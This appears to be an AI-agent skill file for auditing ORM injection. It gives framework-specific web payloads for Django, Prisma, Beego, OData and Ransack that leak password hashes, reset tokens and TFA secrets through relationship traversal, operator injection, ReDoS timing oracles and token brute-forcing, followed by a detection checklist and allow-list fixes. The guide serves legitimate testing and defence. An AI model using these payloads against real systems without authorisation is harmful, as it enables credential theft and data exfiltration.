ORM Injection Audit Skill
This skill helps you identify and test for ORM injection vulnerabilities where user input directly influences database query construction, potentially allowing attackers to bypass filters, traverse relationships, and exfiltrate sensitive data.
When to Use This Skill
Use this skill when:
- Auditing APIs that accept filter/search parameters
- Reviewing code that passes user input to ORM query methods
- Testing applications using Django, Prisma, Beego, Entity Framework, or Ransack
- Investigating potential data exfiltration through database queries
- Security testing endpoints with dynamic query construction
Core Attack Patterns
1. Direct Filter Control
Django ORM:
# Vulnerable: User controls filter arguments
Article.objects.filter(**request.data)
Prisma:
// Vulnerable: User controls entire query object
const posts = await prisma.article.findMany(req.body.filter)
Beego:
// Vulnerable: User controls filter expression
qs = qs.Filter(filterExpression, filterValue)
2. Relational Traversal
ORMs allow traversing relationships using __ (Django/Beego) or nested objects (Prisma):
Django/Beego:
{"created_by__user__password__contains": "pass"}
Prisma:
{
"where": {
"createdBy": {
"password": {"startsWith": "pas"}
}
}
}
3. Many-to-Many Bypass
Loop back through relationships to bypass filters:
Django:
# Bypass is_secret=False filter
Article.objects.filter(is_secret=False, categories__articles__id=2)
Prisma:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false
}
}
}
}
}
}
4. Type Confusion (Operator Injection)
Prisma accepts operator objects where primitives expected:
// Instead of: {"resetToken": "abc123"}
// Send: {"resetToken": {"not": "E"}}
// Result: Matches all users whose token is NOT "E"
5. Error/Time-Based Oracles
Use regex or complex queries to create timing differences:
// ReDoS attack - timing reveals if pattern matches
{"password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Testing Methodology
Step 1: Identify Vulnerable Endpoints
Look for:
- API endpoints accepting
filter,q,query,searchparameters - Code passing
request.data,req.body, orparamsdirectly to ORM methods - Dynamic query construction with user-controlled field names
- Missing input validation on filter parameters
Step 2: Map the Schema
- Send basic queries to discover available fields
- Test relationship traversal with
__operators (Django/Beego) or nested objects (Prisma) - Identify sensitive fields:
password,token,secret,api_key,tfa_secret
Step 3: Test Filter Bypass
Basic bypass:
{"field__startswith": "test"}
Relationship bypass:
{"related_field__sensitive_field__contains": "value"}
Many-to-many bypass:
{"relation1__relation2__sensitive_field__startswith": "test"}
Step 4: Test Operator Injection
Prisma type confusion:
{"field": {"not": "value"}}
{"field": {"contains": "value"}}
{"field": {"startsWith": "value"}}
URL-encoded (Express extended):
field[not]=value
field[contains]=value
Step 5: Test Time-Based Attacks
Django/Beego regex:
{"field__regex": "^(?=^pattern).*.*.*.*.*.*.*.*!!!!$"}
Prisma OR with large list:
{
"OR": [
{"NOT": {"field": "value"}},
{"field": {"in": ["a", "b", "c", ...1000 items]}}
]
}
Step 6: Collation-Aware Testing
Database collations affect string comparison:
- Case-insensitive (MySQL/MariaDB default): Use
__regexorBINARY - Case-sensitive (PostgreSQL): Standard operators work
- Custom collations: Test ordering with
ge/ltcomparisons
Framework-Specific Payloads
Django ORM
// Login bypass
{"username": "admin", "password_startswith": "a"}
// Password leak via relationship
{"created_by__user__password__contains": "pass"}
// Group-based user traversal
{"created_by__user__groups__user__password__startswith": "admi"}
// Permission-based traversal
{"created_by__user__user_permissions__user__password__startswith": "admi"}
// Filter bypass
{"is_secret": false, "categories__articles__id": 2}
// Time-based oracle
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Prisma ORM
// Full include leak
{
"filter": {
"include": {"createdBy": true}
}
}
// Selective field leak
{
"filter": {
"select": {
"createdBy": {"select": {"password": true}}
}
}
}
// Where clause control
{
"where": {
"createdBy": {
"password": {"startsWith": "pas"}
}
}
}
// Many-to-many bypass
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"secretField": {"startsWith": "test"}
}
}
}
}
}
}
// Type confusion
{"resetToken": {"not": "E"}}
{"resetToken": {"contains": "argon2"}}
Beego ORM
// Direct filter control
{"filter": "created_by__user__password__icontains=pbkdf"}
// Harbor-style bypass
{"email__password__startswith": "foo"}
// Fuzzy match bypass
{"q": "email__password=~abc"}
Entity Framework / OData
// Comparison oracle
$filter=CreatedBy/TfaSecret ge 'M'
$filter=CreatedBy/TfaSecret lt 'M'
// Navigation property traversal
$filter=CreatedBy/User/Password contains 'pass'
Ransack (Ruby)
// Brute-force reset token
q[user_reset_password_token_start]=0
q[user_reset_password_token_start]=1
// Relationship traversal
q[user_id_eq]=1&user[password_start]=pass
Detection Checklist
- User input passed directly to ORM filter/query methods
- No allow-list validation on field names
- No operator validation (allows
__or nested objects) - Sensitive fields exposed in queryable schema
- Relationship traversal not restricted
- Response includes pagination metadata (enables counting attacks)
- Error messages reveal query structure
- No rate limiting on filter endpoints
Remediation Guidance
Input Validation
# Django: Use allow-list
ALLOWED_FIELDS = ['title', 'author', 'category']
ALLOWED_OPERATORS = ['icontains', 'startswith']
def safe_filter(request):
filters = {}
for key, value in request.data.items():
field, op = key.rsplit('__', 1) if '__' in key else (key, 'exact')
if field in ALLOWED_FIELDS and op in ALLOWED_OPERATORS:
filters[key] = value
return Article.objects.filter(**filters)
// Prisma: Map to allow-listed fields
const ALLOWED_FIELDS = ['title', 'author', 'category'];
const ALLOWED_OPERATORS = ['contains', 'startsWith'];
async function safeQuery(req) {
const { filter } = req.body;
const safeFilter = {};
for (const [field, value] of Object.entries(filter)) {
if (ALLOWED_FIELDS.includes(field)) {
if (typeof value === 'object') {
const [op, val] = Object.entries(value)[0];
if (ALLOWED_OPERATORS.includes(op)) {
safeFilter[field] = { [op]: val };
}
} else {
safeFilter[field] = { equals: value };
}
}
}
return await prisma.article.findMany({ where: safeFilter });
}
Response Sanitization
- Remove sensitive fields from query results
- Use explicit field selection (SELECT only needed columns)
- Never return passwords, tokens, or secrets in API responses
Schema Hardening
- Mark sensitive fields as non-queryable
- Use ORM-specific annotations (
filter:"false"in Beego) - Implement per-field access controls